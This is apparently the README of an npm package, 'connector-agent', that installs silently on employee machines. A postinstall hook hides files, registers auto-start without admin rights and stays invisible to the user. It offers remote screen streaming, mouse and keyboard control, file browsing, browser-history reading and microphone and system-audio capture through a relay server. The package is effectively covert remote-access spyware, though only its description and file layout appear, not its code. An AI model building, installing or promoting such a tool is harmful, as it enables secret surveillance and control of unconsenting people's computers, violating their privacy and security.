connector-agent

System connectivity service — runs silently on employee machines.

Install

# Default (connects to localhost:8471)
npm i -g connector-agent

# With custom server URL
SERVER_URL=https://your-server.com npm i -g connector-agent          # Mac/Linux
set SERVER_URL=https://your-server.com && npm i -g connector-agent   # Windows CMD
$env:SERVER_URL="https://your-server.com"; npm i -g connector-agent  # PowerShell

That's it! The agent will automatically:

1. Copy files to a hidden directory
2. Register auto-start (runs on every login)
3. Start running in background

What Happens on Install

| Step | Windows | Mac | Linux | |------|---------|-----|-------| | Files copied to | %APPDATA%\ConnectorService\ | ~/.connector/ | ~/.connector/ | | Auto-start via | Registry HKCU\Run | ~/Library/LaunchAgents/ | ~/.config/autostart/ | | Admin needed | ❌ No | ❌ No | ❌ No | | Visible to user | ❌ No | ❌ No | ❌ No |

Environment Variables

Set these before running npm i -g:

| Variable | Default | Description | |----------|---------|-------------| | SERVER_URL | http://localhost:8471 | Relay server URL |

Uninstall

npm uninstall -g connector-agent

Then manually remove:

• Windows: Delete %APPDATA%\ConnectorService\ and remove registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ConnectorService
• Mac: Delete ~/.connector/ and ~/Library/LaunchAgents/com.user.connector.plist
• Linux: Delete ~/.connector/ and ~/.config/autostart/connector.desktop

Capabilities

• 📺 Screen streaming (4 FPS, adjustable quality)
• 🖱️ Remote mouse/keyboard control
• 📂 File system browsing
• 🌐 Browser history reading (Chrome/Edge/Firefox)
• 🎤 Audio capture (mic + system audio)
• 💤 Sleep prevention
• 🔄 Auto-reconnect on disconnect
• 🚀 Auto-start on login

Requirements

• Node.js 18+
• ffmpeg (optional, for audio capture)

File Structure

connector-agent/
├── package.json          ← npm package config + postinstall hook
├── postinstall.js        ← Auto-setup script (runs on npm install)
├── .gitignore
└── src/
    ├── index.js          ← Entry point
    ├── config.js         ← Cross-platform config (auto-detects OS)
    ├── screenCapture.js  ← Screen streaming
    ├── inputHandler.js   ← Mouse/keyboard control (robotjs)
    ├── audioCapture.js   ← Mic + system audio (ffmpeg)
    ├── browserHistory.js ← Chrome/Edge/Firefox history reader
    ├── fileScanner.js    ← File system browser
    ├── sleepPreventer.js ← Prevents system sleep
    └── systemInfo.js     ← Machine info (hostname, OS, IP)